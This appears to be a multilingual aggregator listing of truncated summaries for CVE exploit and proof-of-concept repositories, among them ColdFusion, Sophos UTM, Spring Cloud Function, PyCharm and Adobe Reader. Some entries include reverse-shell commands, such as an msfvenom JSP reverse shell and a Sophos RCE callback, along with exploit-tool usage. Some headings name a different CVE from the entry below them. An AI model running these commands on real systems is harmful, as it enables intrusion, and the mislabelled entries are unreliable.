WinRAR-Code-Execution-Vulnerability-CVE-2023-38831

Entendiendo la Vulnerabilidad de Ejecución de Código en WinRAR CVE-2023-38831 La descripción general: Part-1...

CVE-2022-27251

CVE-2022-27251 LocalStack 0.12.6 中的远程代码执行 由于在生成 Lambda 函数时，Lambda API 处理程序字段缺乏对用户输入的清理，并且 Docker 容器被不安全地生成，因此可以通过 AWS CLI 的 --handler 选项提供注入，由 root 进程在创建和生成版本 0.12.6 的 Lambda Docker 容器时执行。此攻击向量仅在主机启用了 Lambda 功能且攻击者知道用于连接 AWS CLI 的 Lambda 端点时才适用。 此问题已在后续版本中修复。 一个示例场景可在 HackTheBox 平台上找到，是我创建的一台名为...

CVE-2026-42945_NginxRift

🚀 NGINX Rift PoC Automation — CVE-2026-42945 PoC Automation Driver for RCE exploitation of thenginx-rift container · Target verification → Single-command exploit → Interactive reverse shell One command orchestrates the entire exploit flow — from container check to getting a shell. ⚠️ Ethical &...

CVE-2022-22963-Exploit

CVE-2022-22963 漏洞利用 该存储库包含一个基于 Rust 的漏洞利用程序，针对在 Spring Cloud Function 3.1.6、3.2.2 及更早的不受支持版本中发现的 CVE-2022-22963 漏洞。该漏洞允许通过将特制 Spring 表达式（SpEL）用作 routing-expression 来实现远程代码执行并访问本地资源。 描述 在 Spring Cloud Function 3.1.6、3.2.2 及更早的不受支持版本中，使用路由功能时，用户可以提供特制的 SpEL 作为 routing-expression，这可能导致远程代码执行并访问本地资源。...

cloudpanel-2.4.2-CVE-2024-44765-recovery

CVE-2024-44765 is an Improper Authorization Access Control Misconfiguration vulnerability in MGT-COMMERCE GmbH CloudPanel versions 2.0.0 to 2.4.2 1. Follow instructions in every folder this should be done locally 2. Reset Passwords and Access root@kitploit: for root $ sudo passwd root while for...

CVE-2021-30005-POC

CVE-2021-30005-POC CVE-2021-30005 的 PoC 详情 该漏洞在于，PyCharm 在首次打开项目时会自动激活项目中发现的虚拟环境。这允许攻击者创建一个包含恶意虚拟环境的仓库，该虚拟环境在激活脚本（例如 venv/bin/activate）中包含任意命令，当在 PyCharm 中下载并打开该仓库时，这些命令会被执行。 注入的命令可以在此处找到。 复现步骤 克隆仓库： root@kitploit: git clone https://github.com/atorralba/CVE-2021-30005-POC 然后在一个存在漏洞的 PyCharm...

PoshSecFramework

PoshSec Framework Para que los Scripts y Módulos funcionen, consulta la documentación a continuación. El PoshSec Framework o PSF es una utilidad de interfaz gráfica para ejecutar scripts, módulos y cmdlets de PowerShell. El PSF expone partes de su interfaz a PowerShell dentro de las PSessions...

CVE-2022-26134

CVE-2021-46422 RCE Instalación root@kitploit: git clone https://github.com/yigexioabai/CVE-2021-46422-RCE.git cd CVE-2022-26134-cve1 pip3 install -r requirements.txt 把CVE-2021-46422 RCE.py放到pocsuite3\pocs目录下 cd pocs Uso de pocsuite3 URL única: root@kitploit: pocsuite -r CVE-2021-46422 RCE.py -u u...

Telerik_CVE-2019-18935

TelerikUI Python 扫描器 telerikrcescan.py 示例 评估一个 IP 是否存在 CVE-2019-18935 $ python3 telerikrcescan.py -t 192.168.44.21 评估一个主机名是否存在 CVE-2019-18935 $ python3 telerikrcescan.py -t vulnerable.telerik.net 评估一个 CIDR 网络范围是否存在 CVE-2019-18935 $ python3 telerikrcescan.py -r 23.253.4.0/24 评估目标列表 $ python3...

sophucked

sophucked CVE-2020-25223 RCE PoC，获取反向 Shell。无需认证。快速实现，以统一一些威胁磁铁。 使用示例： root@kitploit: python sophucked.py https://x.x.x.x:4443 x.x.x.x 80 + 在端口 80 上启动处理程序 + 发送回调至 x.x.x.x:80 + 来自 x.x.x.x 的连接 + 弹出你的 Shell！ bash: 此 Shell 中无作业控制 utm:/var/confd unset HISTFILE unset HISTFILE utm:/var/confd id id...

CVE-2020-1947

CVE-2020-1947 ApacheShardingShpereUIYAML解析远程代码执行漏洞复现及分析 概述 shardingsphere是apache的一套开源生态系统，是一组分布式数据库中间件解决方案，是由sharding-jdbc、sharding-proxy和sharding-sidecar三款相互独立的框架组成，被用来提供数据分片，分布式事务，数据库治理 受影响版本 ShardingSphere 4.0.0-RC3, 4.0.0 sharding-jdbc,sharding-proxy,sharding-ui等组件 分析环境 root@kitploit:...

CVE-2010-1240

CVE-2010-1240 - 在 PDF 中嵌入后门 ⚠️ 仅供教育和授权的安全研究使用 描述 Windows 和 Mac OS X 上的 Adobe Reader 和 Acrobat 9.x（低于 9.3.3）及 8.x（低于 8.2.3）未限制“启动文件”警告对话框中一个文本字段的内容，这使得远程攻击者更容易诱骗用户执行 PDF 文档中指定的任意本地程序，例如，某文本字段声称“打开”按钮将允许用户阅读加密消息。 演示 操作指南 1. 首先，运行 msfconsole root@kitploit: msfconsole 2. 然后，设置用于嵌入 PDF 的载荷...

CVE-2025-2294

CVE-2025-4403 漏洞利用 详细信息 发布日期 ：2025年3月27日 更新日期 ：2025年3月28日 严重性 ：严重（CVSS 评分：9.8） CWE ：CWE-22：CWE-22 对受限目录的路径名限制不当（'路径遍历'） 受影响版本 ：从 n/a 到 2.5.1 的所有版本 研究人员 ：https://www.wordfence.com/threat-intel/vulnerabilities/researchers/michael-mazzolini CVSS 向量 CVSS 版本 ：9.8 向量字符串...

CVE-2024-23739

CVE-2024-23739 Un problema en Discord hasta la versión 0.0.291 en macOS permite a un atacante remoto ejecutar código arbitrario mediante la configuración RunAsNode y enableNodeClilnspectArguments. Existe una herramienta diseñada para automatizar el proceso de búsqueda de vulnerabilidades en...

CVE-2022-42889-PoC

CVE-2022-42889 también conocido como Text4Shell Prueba de Concepto RCE Text4Shell es el nombre popular de una vulnerabilidad de software crítica descubierta en la biblioteca Apache Commons Text ver CVE-2022-42889. Este repositorio está destinado a demostrar una Ejecución Remota de Código RCE que...

wildpwn

首先！ 阅读：https://www.exploit-db.com/papers/33930/ 基本用法 大致如下： root@kitploit: usage: wildpwn.py -h --file FILE payload folder 用于生成Unix通配符攻击的工具 位置参数： payload 要使用的payload：combined | tar | rsync folder 写入payload的目录 可选参数： -h, --help 显示此帮助信息并退出 --file FILE 要获取所有权/修改权限的文件路径。仅与combined攻击一起使用。 Payload类型...

CVE-2024-51567

Script de Explotación CVE-2024-51567 CVE-2024-51567 es un script de explotación de prueba de concepto PoC en Python para CVE-2024-51567 , una vulnerabilidad crítica de inyección de comandos que afecta a CyberPanel v2.3.6. Esta vulnerabilidad, encontrada en el endpoint upgrademysqlstatus, permite ...

CVE-2025-24893

CVE-2025-24893 POC de ejecución remota de código sin autenticación en XWiki Descripción de la vulnerabilidad XWiki Platform es una plataforma wiki genérica que ofrece servicios en tiempo de ejecución para aplicaciones construidas sobre ella. Cualquier invitado puede realizar una ejecución remota ...

CVE-2009-2265

版本：ColdFusion 8.0.1 CVE-2009-2265 msfvenom -p java/jspshellreversetcp LHOST=10.10.14.12 LPORT=4444 -f raw shell.jsp python upload.py 10.10.10.11 8500 shell.jsp 示例：...

EUVD-2026-71883

The Welcart e-Commerce plugin for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 2.12.1 via deserialization of untrusted input in the Telecom EDY payment callback uscesactionactingtransaction. Unauthenticated attackers can store arbitrary 'reserve' key/value...